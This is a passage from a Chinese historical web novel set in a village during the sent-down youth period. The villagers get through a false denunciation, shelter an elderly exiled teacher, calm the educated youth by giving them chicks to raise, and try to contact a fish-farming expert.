宋冬宇又推过另一半行李，接着开口道：“这是给我姑奶奶的，里面大多是她的中药，缓解腿部疼痛的，还有一些营养品，我担心放到牛棚那边，这些东西她吃不到嘴，所以想着先放你这里，你们找个合适的机会交给她就行。” “药吃完了我会从海市再寄。” “麻烦你们了！” 宋冬宇站起来冲着陈显英深深鞠了一躬，一直挺直的背终于弯了下来。 他姑奶奶知道自己要出事前，把全副身家都托付给他了。 说自己不知道还能不能回的来，东西让他看着处理。 其实两人只是远房亲戚。 宋冬宇拿着那些财产不做些什么，实在良心不安。 钟莹莹跟着钟新澄一块帮着搬小坛的咸菜，刚搬完就听说知青院和牛棚那边的人闹起来了，好像谁把谁打了，姑侄俩对视一眼后，不约而同的改变脚下的方向，拐了个弯去知青院了。 到的时候那边正热闹着呢。 “你说，这信是谁写的？敢借着我们知青的名义胡乱造谣，我看你们这些坏分子还没改造到位啊！” 几张写满了字的信纸随着其中一名知青的动作洋洋洒洒的由空中飘落。 “不要再打了！我们写这些，对你们就没有好处了吗？” 一头发花白的老头戴着个镜片碎了一半的眼镜，狼狈的抱头鼠窜。 “揪出国家蛀虫，对大家来说都是大功一件。” “到时候上面一高兴，大家都可以回城了！” 老头子想的很简单，一个村的人都被他举报进去了，那该是多大的功劳啊！ 他戴罪立功，回城之后又可以风风光光的，没准还能官复原职呢！ “还回城？我看你是想去农场待着！” 改造都没完成，又出了个瞎编乱造摸黑当地农民的事，不被送进农场就稀奇了。 老头不解。 “你举报之前都不调查清楚的吗？人家村民是合法养殖！” 王岳幸灾乐祸的笑出声来，可算不只有他一人挨打了。 “怎么可能？” 那么多鸡鸭，老头自认为自己近视，但不眼瞎。 “一户三四只，人家一家可不止一户！” “不止一户？” 什么意思？老头呆愣住了。 “老子和儿子分家了，可不就是不止一户！” 王岳看他的反应乐的不行。 ‘啪！’ 新来的知青给了他一个大巴掌，他笑不出来了。 也不知道这些人哪来的，活干不明白，打架那叫一个真的狠啊。 他的跟班朱志鑫倒戈到对面去了，他一个压根打不赢一群人。 王岳想哭，但又不敢，哭了还要挨打。 今天钟强先去镇上开会去了，上面还特别强调了要重视知青与下方人员的管理问题，可他一回来，就瞧见他的知青在打他的下放。 顿时，他发出一声尖锐的爆鸣声，立马蹿到二者中间。 “你们在干什么？聚众斗殴是吗？” “一个二个好日子过够了啊！” 想找死也不要死在他们村啊，死远点。 “叔，他们要举报我们！” 钟新澄唯恐天下不乱，这阵子被拘在家里老老实实的干活，他心里像蚂蚁爬了一样痒。 这会儿有机会参与村里的大事，他立马拱火道：“你看，举报信还在地上呢！” 钟强先闻讯捡起地上的纸张，看了个开头就已经怒不可遏了，他压根忍不到看完全部的内容，就爆发出巨大的怒火。 “我们怎么得罪你们了啊？你们就想着编这些东西举报我们？” 但凡举报信上有一条是真的，那整个钟家岗的村民都难逃此难。 什么违规养殖，撬国家墙角。 什么私人办厂，资本主义余孽。 什么私下采购，钻制度漏洞。 …… 一条写的比一条狠，要不是看到这些信，钟强先还不知道，他们村竟然能犯下如此多都‘罪名’。 钟强先后悔了，他不应该把他们放在知青院和牛棚放任不管的，就应该像其他村子一样，狠狠的鞭策他们，让他们没时间去搞这些乌烟瘴气的东西。 “村长，这些不关我们的事啊！”知青们想要撇清关系。 “聚众斗殴你们参与了吧？” 闻言他们垂下了脑袋。 “念在你们及时发现这些坏分子的阴谋诡计，这次我就不上报了。” 打一个巴掌给一颗糖，钟强先逐渐成长为一个合格的领导人。 “至于你们……” 钟强先把目光转移到这群看似老弱的‘坏分子’身上，他想不明白，都沦落到这种境地了，这些人咋还那么能折腾。 “我会去镇上如实说明，你们收拾收拾，准备去农场吧！” 第86章 都没隔夜，当天那群老东西就被钟强先带着，包袱款款的滚蛋了。 没被送去农场，他们一开始还高兴来着，但是等到地方一看，笑不出来了，乌漆漆的煤矿，满身煤渣、黑着脸的矿工，这是矿上啊。 人家矿工愿意冒着生命危险挖矿是因为工资高，他们呢，没工钱，白做工，还得被人盯着干活。 “要不……还是送我们去农场吧！”老头舔着脸往送他们过来的那个负责人身边凑。 那人斜着眼睛瞥了他一眼，不阴不阳的说：“你当矿上是你家啊！想来就来想走就走。” “我给你说，你们要是在这还不好好的接受改造，下次别说农场了，篱笆子都没你们的份！” 不去农场，不蹲篱笆子，还能有什么去处？只能是老菜市场前面的刑场了。 搞举报的，就没人瞧得起。 谁不怕哪天一个不注意，被他们抓到把柄，也让他们举报咯，是人就有犯错的可能。 老头不求他了，他知道求也没有用。 那群老东西也跟老头闹掰了。 “你不是说只要举报信送上去，我们就能回城吗？” “现在呢？” “都来矿上挖煤了！” “是啊是啊，这挖煤是人干的活吗？” “你快给我们想想办法，把我们弄回村里去！”他不想回城了，他现在觉得村里也蛮好。 挑挑粪，种种田的，只要不找事，老实干活，也没人骂他们，打他们。 一群老头老太太不敢让旁人听见，但是又实在生气，只好压低了声音吵架。 “这都怪我吗？当初举报的事情，是大家举手表决一致同意的。” “出了事，全都赖在我身上了？合着你们什么错都没有？” 老头指着自己的鼻子，他扪心自问，虽然在这件事中自己有私心，但是绝对不全是他的错。 他们这群人因着利益团结在一起，又因为利益一拍几散。 这群人刚走没多久，宋冬宇的姑奶奶就被转到了钟家岗，也不知道他是从哪托的关系，竟然只来了她一人。 “钟大哥，陈大姐，我的事情就拜托你们了！”宋冬宇请的假很短，只够他过来送个东西，并不能让他在这里久留。 “有什么事，你们给我拍电报，或者寄信都行。” “行，但是我们也不敢保证太多。”钟伟先只能说在能力范围内，且不影响自家人的情况下关照一下她。 “有钟大哥你这句话就足够了！” 宋冬宇也很识趣，他自己都不能全身心的投入去关照他姑奶奶，又怎么奢求别人牺牲自我，帮他照顾姑奶奶呢。 宋晴芳是个小脚老太太，走起路来一瘸一拐的，走不快。 说话也温吞的很，没人跟她说话，她能一整天都不开口。 钟伟先和陈显英没过多的和她接触，甚至连面也没碰。 只是和村长钟强先说，现在牛棚没啥人住了，可以把牛牵回去，牛棚有点漏水，需要维修一下，把棚顶的草换了，还有四周的围栏都用竹子围结实了，免得到时候给牛冻病了。 钟强先秒懂他的意思，立马喊来村里的小伙子们，给牛棚来了个里外大翻新。 牛棚的棚顶和四周的围栏都被用厚厚的秸秆给覆盖住，里面也用竹竿扎成简易的隔断一分为二，比较大的那部分牛住，小隔间宋晴芳住。 小小的隔间只能放得下一张很窄的竹床，躺下一个人后，几乎不能再容纳第二个人。 但就是这巧妙的设计，就算后面再有人下放过来，也不会被送到这里来，最多再另外的地方再给他们搭个草棚子。 宋晴芳住进牛棚后，睡了下放后的第一个好觉。 厚实的稻杆把整个隔断间包裹的密不透风，竹床上也垫了厚厚一层干净的稻杆，简单的铺上薄薄一层褥子松软又保暖，进隔断小屋要从放牛的那一侧进入，虽然和牛住的地方联通，屋里免不了会有一些味道，但对于宋晴芳来说，已经是很好的环境了。 她在另外一个村子住的房子差且不说，最近冷了还四处漏风，本来她身体就有问题，那个地方如果要一直住下去，她估计自己恐怕都熬不过这个冬天。 虽然还不能确定是谁帮了她，但她心里已经有了一个大概的猜测，正确与否，这两天应该就有答案了。 没出她的预料之外，在她安顿下来的第三天晚上，牛棚里来了一个给牛送干草的人，那人送完干草没有走，反而从草堆里取出一大包中药和一个熬药的瓦罐来。 “宋老师，我长话短说，冬宇托我照顾着些你，但是，你也知道现在什么情况。” “我只能说，尽量让村长给你分些轻省的活，现在冬天村里活少，你把牛伺候好就行。” “每天早上要给它换上新的干草和水，牛粪要铲到外面的粪堆里堆肥。” “你干的慢一些，多干一会儿，这样别人心里不会有什么想法。” “上一批的人都被送到矿上去了，知青那边也会老实不少，你在牛棚安心干活，他们不会来找你麻烦。” “冬宇给你带的东西，我会分批给你带过来，牛棚不能藏东西，容易被发现，你自己小心一点。” 钟伟先能说的都说了，要是这个宋晴芳是宋冬宇说的那样，是个为国为民的好人还行，要是不是，那她身子骨这么差的情况下，死在钟家岗也不是没可能。 “我知道了，谢谢你！” 在学校工作那么多年，被自己的学生给举报，游街示众，还被扔烂菜叶子，臭鸡蛋，宋晴芳原本已经不对这世界的人性抱有期待，但是来到钟家岗后，她心底又升起了一丝希望。 仅仅因为友人的嘱托，就能把牛棚给翻新了，还冒险给自己送来药品，钟家岗的村民是仁义的村民。 陈显英在牛棚外面给钟伟先望风，主要防着的是爱作妖的知青，村里的人就算发现了，也只会帮忙隐藏。 这次‘举报’风波，十分可惜的是知青们没有怎么参与，除了聚众斗殴这一错处，他们甚至还算是立功了。 钟强先没法顺藤摸瓜给人都弄走，他也不想把人弄走。 这来的知青一批比一批质量差，这批门神送走了，万一下一批来的更差，更爱搞事，他哭都没眼泪哭。 好在天气凉，外面冷飕飕的，西北风冻的人脸疼，大晚上的压根没有人外出。 “干草堆好了吗？都说了白天送过来，你非得晚上来，冻的人手都僵了！” 见钟伟先从牛棚里出来，陈显英搓着手不断的抱怨。 这话是说给暗中的人听的，谁也不知道角落里有没有人在盯着他们，稳妥一些比较好。 钟伟先把她的手拉过来踹进自己的衣服兜里，笑着说：“那不是白天忘了吗？明天送过来，牛棚里没干草了，让牛饿着吗？” “还指望着那牛干活呢，万一饿病了，饿没力气了，活也没牛干了。” “走吧，回家吧！” “车我来拉，我不嫌冷！” 架车子上面的干草全都被卸下来了，现在只剩下一辆空车，人拉着一点也不费劲。 “要不要上来坐着，我拉着你走？” 钟伟先调转车头，把架车子推到陈显英面前。 “谁坐你的破车，快走，也不看看啥时候了，黑灯瞎火的，你看这村里还有一个人吗？” “你不困我还困呢！” 陈显英叭叭一通骂，骂完自己先走了。 “孩他娘，等等我！” 钟伟先背过身去，*反手拉着架车子，跑的飞快，那速度竟然比平常老牛拉车的速度还要快。 黑暗中的那两双眼睛也收回了视线。 “你不是说这次来的坏分子指定有鬼吗？”王岳十分不满的质问朱志鑫。 “咱俩在这蹲了这么多天，也没看出什么问题来，你是不是在故意报复我？” 王岳狐疑的看着朱志鑫，之前因为墙头草的事，他被那群知青打了后就把朱志鑫给打了一顿。 这人要是想报复自己，也不是没有理由。 朱志鑫觉得自己冤枉的很：“我要是报复你，会和你一块蹲在这里吗？” 王岳揉了揉自己僵硬发麻的小腿，好半晌后站起来道：“你最好不是！” 下次再不跟他混一起了，这朱志鑫就是个丧门星，跟他搅和在一起准没好事。 还说能让他回城呢！他呸～整天胡说八道，都分不清自己究竟是那根葱了！ 朱志鑫总觉得哪里不对，但是又说不出个所以然来，外面的风呼呼的刮着，透骨的冷，他思索不出个所以然来，只能怀揣着满肚子的疑问，跟在王岳后面回了知青院。 钟伟先和陈显英还不知道，他们俩在无形中逃脱了一次可能会对家庭造成毁灭性打击的磨难。 夫妻俩一到家，放下车子，就舀了热水，洗完手脚后上床睡觉了。 他俩是睡着了，钟莹莹却一直醒着。 宋冬宇的事情，钟伟先和陈显英没给家里其他人知道，只说他是出差路过这里，给家里送点东西来。 出差？从海市来她们这个犄角旮瘩里的村子？钟莹莹不信。 第87章 宋冬宇前脚刚走，钟家岗的牛棚里就送来一个老太太，还刚好也姓宋，任谁说这里面没问题，她都不会相信的。 她还只是个孩子，这些事情她爹娘能处理的好，她也就不想再去管。 睡觉睡觉，春困夏盹秋乏冬眠中的冬天威力不是盖的，要不是为了等她爹娘回来，看看他们干什么事情去了，她早就梦会周公去了，哪会一会儿一个哈欠，衣服穿的好好的，扒在窗户上忍受凉飕飕的冷风。 牛棚里的事情，只是钟家岗漫长冬日里的一个小插曲。 钟家岗村民的生活重心还是放在各自的家庭上面，外面的风风雨雨都和他们无关，在村里的小孩都脱离了外界各种干的热火朝天的组织后，村民们关于这场斗争做的最多的也就每天象征性的念几句语录，敷衍一下就算了事。 原先斗志昂扬的知青们也在这样的氛围中，被传染的萎靡不振，整日只想着今天吃什么？明天吃什么？之前闹的这么厉害，村里人还会给他们分吃的吗？杀猪会有他们的份吗？好想吃鸡蛋啊！可恶，为什么知青点没有养鸡，这不公平，他们要斗争。 “村长，我们也想养鸡！” “对，我们也要养！” 一群人斗志昂扬的彷佛在做什么伟大的事情一般，闹到最后只是为了想要弄几只小鸡仔。 “也没人说不让你们养啊？” 钟强先斜眼看人，好像在说，看吧，这群没出息的货色，最后还是得求到他的头上。 但他也没想难为这群人，只要他们老老实实的，不再搞事，钟强先希望各自能井水不犯河水，直到送走他们为止。 “小鸡崽村里有那家里孵化多出几只多，得你们自己过去换。” “你们人多，每人算一户，能养多少只鸡不用我提醒了吧？” 搞定红眼病最好的方式，就是把他们也给拉下水。 知青们眼前一亮，像是发现了新大陆。 一人两只鸡，村里不缺鸡吃的东西，就是冬天，那水沟边野草啥的都不少，多养就是多赚。 两只鸡，一天下两颗蛋，可以吃一颗，攒一颗，私底下还能拿去换钱。 “对了，你们的鸡蛋吃不完，村里会收购，按四分钱一颗蛋价格，不违规，村里有镇上的批条的。” 什么？不光不限制他们养鸡，还回收他们的鸡蛋，众知青顿时红了眼。 “可之前……他们会把小鸡崽换给我们吗？” 想到之前的矛盾，知青们又像是被泼了一盆冷水。 要是他们，在被人威胁举报过后，也不会愿意以德报怨的。 “村长，你能不能帮帮我们啊？我们知道错了！” 之前还趾高气昂的知青们在钟强先面前低下了他们那高贵的头颅。 “放心吧，我们村的人都大气的很，不记仇！只要你们不在干那没脑子的事，没人针对你们！” 钟强先让他们放心去做，可知青们内心仍旧很忐忑。 但为了小鸡崽子和鸡蛋，他们豁出去了。 好在，村民们和钟强先说的一样，虽然一开始对于他们的到来都很警惕和怀疑，但等他们表明来意，又说明说钟强先同意了的时候，最后还是给他们每个人都换了四只小鸡崽子。 知青们说只要两只，但是村民们热心肠的告诉他们：小鸡崽子生长过程中，有很大的夭折率，新手养鸡，能活一半就很不错了，要是运气好，都养成了，那宰了一半吃肉，也不违规。 “你们这群孩子啊，十七八岁就被送到乡下来，我们包容你们不容易，但你们也不要总是想着闹幺蛾子，搞什么举报啊，欺负人的事。” 这群知青中年纪最大的也不过二十出头，村里的老人看他们也不过是个孩子，才不计较的。 “在村里好好干，村里的粮食一年收两季，肯定比不上你们在城里的生活，但也饿不着、渴不着、冻不着。” “老老实实干几年，我们又不欺负你们，国家的压力缓解了，你们肯定还是能回城的！” “你看周岱那几个小子，人家都没申请，上面直接召回的，我给你们说啊，老早之前你们住的那个地方，还住过一个高级干部，人家也是来劳动改造的，但没待多久，就被人开着军车接走了，听说要去搞什么研究去了。” “有能耐的人放到哪里都不会被埋没的，让你们沉下心来干活，多学点东西，是为了你们好。” 钟刘先的老娘絮絮叨叨说了很多，她年纪大了，就爱多管点闲事。 这群年轻人，虽然路子走歪了，但心不全然是坏的，多教育教育，总能回归正途的。 众知青被一农村老太太给教育了，偏生她说的道理都是他们无法反驳的，这一群小年轻个个红了面孔，为自己以前的恶意揣测感到心中不安，愧疚感瞬间爆棚。 “奶奶，对不起，以前是我们不对！” 村里人对他们如此宽容，他们还能恩将仇报，是他们不是人。 有一个道歉，就有第二个，第三个……这群知青在钟刘先老娘面前挨个道歉了。 之前已经在村长面前低过了头，这次再低头，好像也没那么难了。 于是这批知青每一个都拿了一个小篮子，捧了四只小鸡崽回到了知青院。 钟刘先家里自然没那么多的鸡崽，剩下的是钟刘先他娘一家家和村里人换的，见这个老太太为了他们的事，走遍了全村，众知青心中越发羞愧。 等人走后，钟强先突然闪现在钟刘先家里，钟伟先也来了。 “强先，你让我说的那些话真的有用吗？”钟刘先老娘有些怀疑的看着钟强先。 钟强先连忙摆手道：“那可不是我让你说的，是伟先说的，伟先你来和婶子说。” 原来之前钟刘先老娘那一番煽情且动人的话，都是钟强先一句句教出来的，而钟强先又是钟伟先教的。 一个教一个，要是钟莹莹知道这事，八成会用葫芦娃救爷爷来形容这三个人。 “有没有用不知道，但给他们找点事情做，总好过他们一直盯着村里人，你们也不想干啥事都被他们盯着吧？”钟伟先是事后知道知青院那边有两个神经病大半夜不睡觉盯着牛棚的，因为那晚他确实做了些见不得人的事情，所以惊出来一身冷汗，后面就下定决心，要分裂一下知青，不让他们再没事找事。 新的这批知青一回院里就闹起来了，主要是王岳和朱志鑫与他们之间的矛盾。 “你们去换小鸡怎么不叫我们？” “叫你们干嘛？我们关系有那么好吗？” 新知青们也不惯着他俩，他俩虽然是先来的，但是他们新知青人多啊。 “你……” 王岳被气的说不出话来。 不过他立马反应过来，自己和新知青们关系不好，他认，但他的跟屁虫也没得到消息，就让他感到有些诧异了。 王岳冷着一张脸对着朱志鑫冷嘲热讽道：“看吧，你给人家当狗有什么好处？人家压根不带你玩，给我当狗，我高兴了还会给你扔块骨头吃呢！ 讽刺完朱志鑫，心中的怒火被发泄出去，他的心情立竿见影的变好了。 王岳的气愤算是轻的，朱志鑫才是气狠了的那个。 他之前都背叛王岳，倒戈新知青了，没想到这群人压根没把他当自己人。 那他的倒戈还有什么意义？不仅得罪的王岳，还没打进新知青内部，两边都不讨好。 在这种情况下又被王岳给刺伤了他那廉价的自尊心，当即他就要去找村长，也弄几只小鸡回来养。 “村长，我……” “是来换小鸡的吧？早都给你准备好了。” 朱志鑫话才说了一半，钟强先就掏出一篮子毛茸茸的小黄鸡，递到了他手里，语重心长道：“志鑫呐，你跟王岳比他们来的早，在村里也没少干活，我心中是偏向你的！” “你以后少跟他们掺合那些事情，你看之前牛棚那群人都被害得去了矿上，跟他们一起混，准没好事。” 钟强先这是在混淆视听，牛棚那群人分明是自己作死，才被送走的。 但朱志鑫正处于愤怒之中，自然对他的话深信不疑，他也觉得新来的那群是扫把星。 如果他们不来，老知青们还在，他没准就能跟着老知青混个功劳，也回城去了，就是因为这群新来的，挤占了老知青的位置，让他们早早的回城了，朱志鑫现在回想起那群人，是越想越恨。 “村里的这小鸡崽是烧了煤升温孵的，每一只都宝贝的很，你带回去要好好养啊～”钟强先一副我看好你的样子，把朱志鑫给感动的不要不要的。 煤哪来的呢？之前那群坏分子换来的，给矿上送去这么一群不要钱的白工，虽然老了些，但也不是不能干活，对方投桃报李的低价卖给了村里一些煤炭。 王岳见朱志鑫走了，他一个人待着也没意思，便跟着朱志鑫也来到村长家，只是速度上要慢了一些，等两人话都说完了，他才到地方。 见刚骂过自己的人也来了，朱志鑫从鼻孔中哼了一声，就抱着小鸡走了。 他走之后，钟强先把对他那一套又给王岳来了一遍。 钟伟先的策略十分有效，小小的知青院，八九个知青，就这么被分成了三派，新知青一派，王岳和朱志鑫各成一派。 第88章 这样一来，如果其中一方想找事，那另外两方就会拼命的去搞破坏，知青们自己就内斗起来了，哪还会去关注村里的事，反而会因为想要争夺村民们的支持，对钟家岗怀揣着好感。 而且黄茸茸的小鸡崽一领回去，他们也没心情再找别的事情，每天伺候小鸡崽还来不及呢！ 新生的小鸡崽非常的脆弱，随便一点风吹草动就会死给你看。 温度要合适，吃食要剁的碎碎的，再加上一些水，拌上一些麦麸，才能喂给它们吃。 新手鸡倌们忙的手忙脚乱，冬天村里没啥活，他们闲着没事就到处去找些嫩草来喂鸡，王岳为了卷新知青，想给自己的鸡养的更大一些，更是到处挖蚯蚓，剁碎了喂给小鸡吃，他的鸡还真就长的快了些，其他人眼红，纷纷效仿。 有聪明的见水里有螺蛳和河蚌，大冬天的也不嫌冷，脱了鞋袜卷起裤脚就下水去捞，浅水处的螺蛳几乎被他们捞了个干净。 拿回去小鸡还不能直接吃，得用砖头把螺蛳壳给砸碎了，把螺蛳肉给切成小块才能喂鸡，不然大块的肉小鸡吃了卡在喉咙里，会被噎死的。 他们每天眼睛一睁就是干，偶尔吵架吵的也不是阴险狡诈的勾心斗角了，而是类似你的鸡偷吃了我的鸡的饲料，你得赔。 ‘那片嫩草是我先发现的，你干嘛偷偷摸摸跟着我，把我好不容易找到的草都给割完了！’ 知青们安静了，村里的氛围也变得一派祥和。 临近过年，村里终于杀猪了。 养了半年，虽然不算特别膘肥体壮的猪还是被吊在了树上。 辛苦劳累了那么久，人们需要犒劳一下自己，才能够在新的一年里更加努力，再创辉煌。 太久没吃到肉的知青早就望眼欲穿，馋的口水都要留下来了。 村民们也不遑多让，虽然境况比知青们好些，但这个时候，谁不馋肉啊？ “快，拿盆把猪血接住，一滴都不能洒喽！”猪肉要拉一半，交公粮，猪血可是他们全部自留的。 浪费一滴他们就少吃一滴，那是在割他们的肉。 “猪下水也都装好喽，一会洗干净做猪杂汤，咱们就在食堂吃，一人喝一碗热乎汤！” 妇女们忙着清洗内脏，老少爷们儿刷干净食堂荒废已久的大锅，给灶里添满柴，燃起熊熊大火。 村民们还各自从家里拿来配菜，不拘青菜萝卜还是土豆，反正最后统统都要洗干净切了放到锅里去。 知青们也不太好意思吃白食，纷纷回知青点取来家里寄来的特色美食，虽然量不多，但是心意在那里，这个举动一出，也算是化干戈为玉帛了。 没有永远的朋友，也没有永远的敌人，只要大家利益一致，那当下大家就是团结一心的。 “呼呼呼～好烫啊～” “你慢点吃，又没人跟你抢～” “你让我慢点，你自己慢了吗？刚盛到碗里的饭，都没等它热乎气冒出来，你就全给吃了，你这吃的是人参果吧？” 没看过西游记的不知道，但是看过的都知道，这是在骂他是猪呢！ 钟莹莹端着一碗猪杂小口小口的慢慢吃着，一大碗饭里有猪杂，还有各种菜，红薯粉也放了一些，配上干辣椒，里面再泡上饼子，一吃一个不吱声。 屋外的寒冷全都融化在这一碗小小的猪杂里。 而原本生活中各有搓磨矛盾的人，也在同一个屋檐下，暂时的达成了一致，这就是美食的力量。 远在牛棚里的宋晴芳没有参与进来，村里人也给她送了小半碗过去。 按照钟强先的说法是：上面把人送来是参加劳动改造的，不是送来虐待的，只要能改造好，她也是好同志。 王岳跟朱志鑫现在也老实的很，嘴里有吃的，心里记挂着自己的小鸡，哪里还有心思去关注牛棚里的人怎么样了。 这次过年钟莹莹拿到了六块钱的压岁钱，家里这么大方的是因为村里的咸菜大卖了一笔，尤其是咸鸭蛋咸鸡蛋，那一戳就流油出沙的质感，让它们压根就供不应求。 其他的菜也卖了不少，因为味道好，前几年没卖还有人找到村里来，问为什么不卖了，得知是因为没有原料后，他们很失望的回去了，现在村里重新开放售卖，咸菜又是冬天必不可少的吃食，更何况钟家岗的卖价也没比他们买当季新鲜的菜贵多少，那他们自然愿意卖钟家岗咸菜的帐。 货物卖的好，村民们分到的钱就多，就连知青们一人都被分了一毛的‘分红’，说是给他们沾沾喜气。 “我就说钟家岗不错，我去县里碰见我同学了，他们说在他们分到的那个村里连饭都吃不饱，我们在这还吃上杀猪饭了，感觉比城里吃的还好呢，我都不想回城了。” 新知青里有个年纪小的，在家排在中间，不是很受待见，一来钟家岗，竟然还拿到钱了，虽然只有一毛，但对他来说已经很珍贵了，现在搞的孩子都乐不思蜀了。 “之前咱们还要举报他们，实在太不应该了。” 看着知青院里养着的小鸡崽，再想到小鸡崽长大后下的蛋，长大后的小鸡崽还能宰了吃肉，新知青们越发的对钟强先感到感恩戴德。 “以前的老知青那么出息，咱们能不能也做点什么啊？” 人家都上报纸去县里接受表扬了，他们太落后了也不像样子，至于中间的王岳和朱志鑫，这群人就没把这俩人当作一回事。 他俩除了搞事，还能干什么？听说中间还被退货了一次，也不知道咋舔着脸又回来的。 “教书教书不成，种地种地种不过人家，我们还能干啥？”众人感到很迷茫，有种有心无力的感觉。 有人提议：“去问问村长吧，他应该知道我们能做些啥！” 钟强先最近正烦着村里的建设问题，人啊，手里一有了余钱，就变得想要更多。 村中的鱼塘之前一直是随便养养，随便放点小鱼苗，有收获就留着吃，没收获也没人管，现在想想，那两口大鱼塘啊，如果能够规范化的养殖，不知道已经给他们钟家岗创造多少价值了。 以前他做事之前总要问问钟伟先的意见，现在钟伟先让他自己拿主意，他就有些摇摆不定，不知道该怎么办才好。 他心想，要不去县里的农业局请专家？可他在那没啥关系，不一定请的来人啊！ 知青们在这个时候找上门来，钟强先就随口问了一句：“你们家里有农业方面的专家吗？最好是养鱼的！” 问完他就后悔了，这不瞎胡闹嘛，他们能知道什么。 专家？养鱼？村长在说些什么啊？好多人是二和尚摸不着头脑。 就在这时，人群中有一个人站了出来，那个被人笑拿了一毛钱就开心的找不着北、没出息的小知青举着手道：“我、我、我知道！” 见所有人都盯着自己，他吞了吞口水，紧张的说不出话来。 钟强先没想到自己随口一句话竟然真能诈出一个专家来，他连忙站起来，大步流星的走到小知青面前：“别着急、你慢慢说～” 小知青叫郑光羽，他在家不受宠，所以上面一说每家必须有一个孩子要下乡，他就被丢到乡下来了。 郑光羽坑坑巴巴的说：“我、我、我有个小叔叔，他就是学农业的，而且还是搞水产养殖方面的。” “他在哪里？” 钟强先大喜，直接握住了郑光羽的手。 “他、他、他在家里。” 钟强先被这话给噎住了，这话说的跟没说一样。 但是又实在需要郑光羽的帮忙，他便忽略郑光羽的小结巴和无厘头，继续问道：“我知道他肯定在他家，我是想问有什么办法能联系上他呢？” “我、我叔叔单位有电话，我知道电话号码，你可以打电话给他！”郑光羽用力吐出一大口气，可算是能讲出完整的句子了。 电话？他们村没有，想打电话得去县里，公安局有，他小舅子在那边，能借到电话，钟强先在心里盘算了一遍，总算是有了些眉目。 “小同志，你这算是立了大功啊！要是村里的鱼真能养出规模来，我在你的档案上给你记上一功，有回城名额的话，县里肯定会优先考虑你！” 事情还不知道能不能办成呢，钟强先的大饼就先画上了。 其他知青一听这事关系到回城，立马一个个嫉妒的眼睛又红了。 钟强先也没忘记他们，大饼人人都有，反正又不花钱，顺嘴的事。 “你们也不要着急，大家都能回城的。” “小郑的功劳也是属于你们全体知青的功劳，到时候咱们村一发展起来，上面看，咦？钟家岗的知青搞建设这么厉害的嘛？城里也需要他们！直接全给你们接回去了也不是没可能。” “到时候你们都走了，我还不知道上哪去找这么多文化人呢！你们说是不是？” 众知青都被他描绘的蓝图给逗笑了，脑子里不断浮现真有那一天，他们衣锦还乡该有多么的荣耀。 钟强先安抚的差不多，就想着先办正事，他直接开口问郑光羽：“你今天有什么事没有？没事的话跟我去一趟县里，给你小叔叔打个电话，我想问一些事情。” 第89章 “喔～我有时间的，现在就可以去！”郑光羽像个小学生一样举起了自己的右手。 钟强先不在意这些细节，他满门心思都在村里的鱼塘上面，拉了郑光羽就去牛棚牵牛，连车子还没套就想走，还是钟伟先拉了自家的驾车子拴好绳子套到了牛脖子上，让两人坐着车走。 到了公安局又是闹了一番笑话，起先人家并不愿意借电话给他用，理由是不能公器私用，搬出他小舅子黄有德的名字也不行，局里换了新领导，对这些事情查得很严。 钟强先别无他法，又想带着郑光羽去邮局看看，邮局是能打电话的，就是费用比较高，而且对方回电的话，他们这边接不到。所以钟强先一开始才没有把邮局给放到首选位置。 他想的是，如果有其他信息，郑光羽的小叔叔能把电话打回公安局，然后留言给黄有德，这样他就能及时收到信息。 都带着人走到门口了，忽然他又折返回去，对其中一个干警说：“我想见你们领导！” 钟伟先和他说过，遇事不要横冲直撞，多换些角度思考，没准就成了呢？所以他想再试一次。 干警有些无奈：“都说了局里的电话不能借给私人用，你找我们领导没用的！” “我有正经事，而且我借电话不是私用。” “真的？” “真的！我骗你做什么？黄有德是我小舅子，他的人品你该信的吧？如果我骗你，你又不是找不到我了！” 钟强先装的一本正经，还真把年轻的小干警给唬住了，乖乖带他去见了领导。 “领导你好，我想借用一下贵局的电话。” “不是私人的事，是为了我们村的集体建设。” 坐在办公室的白手套还没说话，钟强先就给他来了一套连环话术，堵的他张不开嘴。 接着他又道：“是这样的，我们村集体最近在搞水产养殖，但是遇到了一些技术上的问题，本地的专家可能无法解决，这位小知青的家属中有从事相关行业的专业人士，所以我们想致电他们单位，看能不能得到一个解决办法。” “您放心，我们不白用，费用的话，我们付双倍！” 农业局的不一定不知道怎么处理，只是他不一定能请的来人，请来人后，也并不确定真要养殖成功，需不需要分出一部分利益给他们，毕竟是双方合作养殖的。 如果换成外地的专家就没有这个顾虑了，而且这个外地专家还是村里知青亲戚，能不花钱肯定选不花钱的。 比起请专家的费用，打电话才花几个钱？ 白手套终于得到插话的机会，立马道：“你们都愿意付双倍的费用了，为什么不去邮局打电话呢？” 钟强先搓了搓手，脸上露出一丝老农民的憨厚来：“不瞒领导您，我有个小舅子在你们局里上班，想在你们这打电话，也是想着如果专家那边有回电，能够及时得到通知，在邮局那边没有这方面的……” 剩下的话钟强先没有说完，全留给白手套脑补了。 “你们村的那个养殖是个什么情况？上面不是说了吗？不允许私人买卖！你们这是顶风作案，到我这自投罗网来了？” 白手套似笑非笑的看着钟强先，似乎是在说这下我看你还怎么解释。 钟强先慌里慌张说：“哎呀～搞错了，不是私人买卖，是集体交易，跟工厂一样的，我们是合法的。” “而且我们村的鱼还没往外卖过，除了每次有收获的时候，会交给镇上一半，其他的都是村民们自己分了吃的。” “国家对于家禽养殖数量有限制，我们是知道的，哪敢知法犯法，做超纲的事啊！” 钟强先表面上慌得很，实则心里也一样慌，他都想骂自己一句：为什么就自己一个人莽撞的来了县里，要是带上伟先，那挨骂的会不会就不止他自己了？这个小知青像个呆头鹅一样，人家还没问他呢，已经吓得瑟瑟发抖不敢说话了，要是有人质问他，估计会吓哭的。 到底是年轻人，没见过世面。 像他这样的老油条，就镇定多了。 “既然不往外卖，你们村人口又不多，随便养殖点不就够吃了，干什么还要找专家，扩大养殖数量，还是说……你在骗我！” 白手套眼睛微眯，用审视的眼神死死盯住钟强先。 钟强先害怕极了，但嘴上仍在不停的输出：“青天大老爷啊！我冤枉啊！” “我就一个老农民，哪里敢骗您啊！” “村里的鲜鱼不往外卖不假，但是我们想卖咸鱼啊！” “我们村有个咸菜加工厂，证件什么都是齐全的，只卖素菜感觉有点单调了，所以想多创造一些新品类出来，搭配着售卖。” “这年头谁不想吃肉啊？如果有猪肉，腊肉我们也想做，可您也知道，现在的猪肉有多紧俏，上面的规矩是死的，村里养的猪我们自己都不够吃的，哪里还有多余的送到厂里加工成腊肉？” 他自己都佩服自己，在小腿肚子都打哆嗦的情况下，嘴巴能叭叭叭的不停说话，看边上小知青崇拜的眼神，就知道他今天的表现该有多么优秀。 